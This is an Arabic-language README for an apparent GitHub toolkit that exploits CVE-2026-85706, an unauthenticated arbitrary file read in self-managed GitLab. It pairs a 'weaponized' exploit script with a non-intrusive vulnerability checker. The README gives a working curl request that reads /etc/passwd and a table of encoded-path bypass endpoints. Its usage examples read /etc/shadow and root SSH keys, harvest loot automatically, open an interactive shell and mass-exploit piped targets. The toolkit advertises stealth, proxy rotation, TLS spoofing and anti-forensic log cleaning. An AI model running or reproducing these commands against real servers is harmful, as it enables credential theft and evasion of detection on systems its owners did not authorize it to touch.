
مجموعة أدوات Python لقراءة الملفات غير المصادق عليها في GitLab CVE-2026-85706: استغلال مسلّح مع loot وshell وفحص جماعي، بالإضافة إلى تدقيق وإعداد تقارير SafeChecker غير التدخلي.

⚠️ للاستخدام الأخلاقي فقط – اختبار أمني مصرح به
يوفر هذا المستودع أدوات للمتخصصين الأمنيين المصرح لهم، والفرق الزرقاء، ومختبري الاختراق فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب CFAA (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، وTCK 243/244 (تركيا)، وقوانين مماثلة في جميع أنحاء العالم.
CVE‑2026‑85706 هي ثغرة حرجة من نوع قراءة ملفات محلية عشوائية دون مصادقة في GitLab CE/EE ذاتية الإدارة (الإصدارات 18.7 حتى 19.3.1) تسمح لمهاجم غير مصادق عليه بقراءة أي ملف على الخادم عبر طلب HTTP واحد إلى واجهة برمجة تطبيقات الالتزامات (commits API).
%63ommits./api/v4/projects/{id}/repository/commits الملف المحدد في file.path قبل فرض المصادقة.% غير صالح، يعيد Rack صدى المحتوى في جسم استجابة 400 Bad Request، مما يؤدي إلى تسريب المحتوى الكامل.| الأداة | الغرض | المستخدم المستهدف |
|---|---|---|
exploit.py | مجموعة أدوات مسلحة كاملة مع قراءة الملفات دون مصادقة، وتعداد الغنائم، واستخراج رمز المسؤول المميز، والمسح الجماعي، وصدفة تفاعلية، وتدوير الوكيل، ووضع التخفي، وإعداد تقارير متعددة التنسيقات. |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.pysafechecker.pyيستخدم الاستغلال نقاط النهاية التالية في GitLab وتقنيات التجاوز:
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
يُقدَّم هذا البرنامج لأغراض تعليمية واختبار أمني مصرح به فقط.
| الفرق الحمراء / مختبري الاختراق المصرح لهم |
safechecker.py | مدقق ثغرات غير تدخلي يكتشف إصدار GitLab، ويتحقق من التعرض، ويدقق رؤوس الأمان، ويقيّم المخاطر دون قراءة أي ملف. ينشئ تقارير JSON/CSV/HTML. | الفرق الزرقاء / مدققو الأمان |
| الميزة | exploit.py | safechecker.py |
|---|
| اكتشاف الثغرة | ✅ | ✅ |
| اكتشاف الإصدار | ✅ | ✅ |
| قراءة الملفات دون مصادقة | ✅ | ❌ |
| تعداد الغنائم | ✅ | ❌ |
| استخراج رمز المسؤول المميز | ✅ | ❌ |
| صدفة تفاعلية | ✅ | ❌ |
| المسح الجماعي (متعدد الخيوط) | ✅ | ✅ |
| تدقيق رؤوس الأمان | ❌ | ✅ |
| فحص TLS/الشهادة | ❌ | ✅ |
| تعيين MITRE ATT&CK | ✅ | ✅ |
| دعم الوكيل | ✅ | ✅ |
| تدوير الوكيل | ✅ | ❌ |
| تدوير User‑Agent (OPSEC) | ✅ | ❌ |
| التذبذب / التأخير (OPSEC) | ✅ | ❌ |
| محدد معدل تكيفي | ✅ | ✅ |
| وضع التخفي | ✅ | ❌ |
| انتحال TLS عبر curl_cffi | ✅ | ❌ |
| وضع غير تدخلي (آمن) | ❌ | ✅ |
| إخراج JSON / JSONL / CSV / HTML | ✅ | ✅ |
| إخراج قاعدة بيانات SQLite | ✅ | ❌ |
| إشعار Webhook | ✅ | ✅ |
| الفرق مقابل المسح السابق | ✅ | ✅ |
| تنظيف السجلات (مضاد للطب الشرعي) | ✅ | ❌ |
| User‑Agent مخصص | ✅ | ✅ |
| التحكم في التحقق من SSL | ✅ | ✅ |
| السيناريو | الأداة الموصى بها |
|---|
| الفريق الأزرق – التحقق مما إذا كان GitLab الخاص بك عرضة للثغرة | safechecker.py |
| التدقيق الأمني – تقييم ثغرات غير تدخلي | safechecker.py |
| الفريق الأحمر – اختبار اختراق مصرح به مع استغلال كامل | exploit.py |
| مكافأة الثغرات – اختبار الإفصاح المسؤول | safechecker.py |
| المسح الجماعي – فحص أهداف متعددة بحثًا عن الثغرة | exploit.py (كشف فقط) |
| الاستجابة للحوادث – التحقق مما إذا كانت الأنظمة مخترقة | safechecker.py |
| المعامل | الوصف |
|---|
-u, --url | عنوان URL لهدف واحد (مثل https://gitlab.example.com) |
-f, --file | ملف يحتوي على قائمة الأهداف (واحد في كل سطر) |
--pipe | قراءة الأهداف من stdin (خط أنابيب subfinder/httpx) |
--read | مسار (مسارات) مطلق لقراءته، مفصولة بفواصل |
--wordlist | ملف يحتوي على مسارات لقراءتها (واحد في كل سطر) |
--project-id | فرض معرف مشروع محدد |
--max-projects | الحد الأقصى لمعرفات المشاريع للمحاولة (افتراضي: 8) |
--auto | جمع ملفات GitLab عالية القيمة تلقائيًا |
--loot | نفس --auto |
--shell | صدفة تفاعلية بعد الاستغلال |
--force | المسح حتى لو كانت بصمة GitLab ضعيفة |
-t, --threads | الخيوط للأهداف المتعددة (افتراضي: 8) |
--timeout | مهلة HTTP (افتراضي: 15 ثانية) |
--retry | عدد إعادة المحاولات (افتراضي: 3) |
--retry-on | رموز HTTP لإعادة المحاولة (افتراضي: 429,500,502,503,504) |
--proxy | وكيل HTTP/HTTPS |
--proxy-list | ملف يحتوي على وكلاء للتدوير |
--proxy-rotate | استراتيجية التدوير: round-robin، random، sticky |
--jitter | إضافة تذبذب عشوائي بين الطلبات |
--jitter-range | نطاق التذبذب الأدنى،الأقصى بالثواني (افتراضي: 0.1,2.0) |
--delay | تأخير ثابت بين الطلبات |
--stealth | تمكين وضع التخفي (تدوير UA + X-Forwarded-For) |
--curl-cffi | استخدام curl_cffi لانتحال بصمة TLS |
--user-agent-file | ملف يحتوي على سلاسل User-Agent |
--max-body | الحد الأقصى لحجم جسم الاستجابة (0 = غير محدود) |
--concurrent-per-host | الحد الأقصى للطلبات المتزامنة لكل مضيف |
--rate-limit | الحد الأقصى للطلبات في الثانية (0 = غير محدود) |
--exclude | مضيفون مفصولون بفواصل لاستبعادهم (أنماط glob) |
--grep | إظهار التسريبات المطابقة للتعبير النمطي فقط |
--resume | الاستئناف من ملف الحالة |
--notify | عنوان URL للإشعار (slack:, discord:, telegram:) |
--db | حفظ النتائج في قاعدة بيانات SQLite |
--output-format | تنسيق الإخراج: json، jsonl، csv، html |
-o, --output | مسار ملف الإخراج |
-v, --verbose | إخراج مطوّل |
-q, --quiet | وضع هادئ |
--no-color | تعطيل الألوان |
--no-banner | بدون لافتة |
--config | ملف تكوين YAML/JSON |
--dry-run | إظهار الخطة دون إجراء طلبات |
--safe-mode | قراءة /etc/hostname فقط للتحقق |
--timeout-profile | aggressive، normal، stealth |
--mitre | تضمين تعيين MITRE ATT&CK |
--fingerprint | بصمة GitLab مفصلة |
--cve-check | التحقق من ثغرات CVE ذات الصلة |
--json-schema | الإخراج مع مخطط JSON لـ SIEM |
--progress | إظهار شريط التقدم (يتطلب rich) |
| المعامل | الوصف |
|---|
-u, --url | عنوان URL لهدف واحد (مثل https://gitlab.example.com) |
-f, --file | ملف يحتوي على الأهداف (واحد في كل سطر) |
-t, --threads | الخيوط للأهداف المتعددة (افتراضي: 5) |
--timeout | مهلة HTTP (افتراضي: 10 ثوانٍ) |
--rate-limit | الحد الأقصى للطلبات في الثانية (0 = غير محدود) |
--user-agent | سلسلة User-Agent مخصصة |
--insecure | تعطيل التحقق من TLS (خطر MITM) |
--webhook | عنوان URL لـ Webhook (slack:, discord:, telegram:) |
--diff | المقارنة مع JSON للمسح السابق |
-v, --verbose | إخراج مطوّل |
-o, --output | ملف إخراج JSON |
--csv | ملف إخراج CSV |
--report | ملف تقرير HTML |
--mitre | تضمين تعيين MITRE ATT&CK (افتراضي: مفعّل) |
| # | السيناريو | الأمر |
|---|
| 1 | فحص سريع للثغرة | python safechecker.py -u https://gitlab.example.com |
| 2 | تدقيق مفصل مع تقرير | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | تدقيق جماعي من ملف | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | استغلال كشف فقط | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | قراءة ملف واحد | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | قراءة ملفات متعددة | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | جمع تلقائي للملفات عالية القيمة | python exploit.py -u https://gitlab.example.com --auto |
| 8 | صدفة تفاعلية | python exploit.py -u https://gitlab.example.com --shell |
| 9 | استغلال جماعي مع التخفي | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | خط أنابيب من subfinder | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | هجوم كامل مع إخراج SIEM | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | استئناف مسح متوقف | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | مقارنة مسحين | python safechecker.py -f targets.txt -o new.json --diff previous.json |
| الخطوة | الطريقة | نقطة النهاية | الوصف |
|---|
| 1. تجاوز | POST | /api/v4/projects/{id}/repository/%63ommits | الحرف c المُرمَّز يتجاوز Workhorse |
| 2. تجاوز | POST | /api/v4/projects/{id}/%72epository/commits | الحرف r المُرمَّز في repository |
| 3. تجاوز | POST | /api/v4/projects/{id}/repository/commits/ | تجاوز الشرطة المائلة اللاحقة |
| 4. تجاوز | POST | /api/v4/projects/{id}/repository/commits.json | تجاوز لاحقة تنسيق Grape |
| 5. Files API | POST | /api/v4/projects/{id}/repository/files/x | مسار بديل |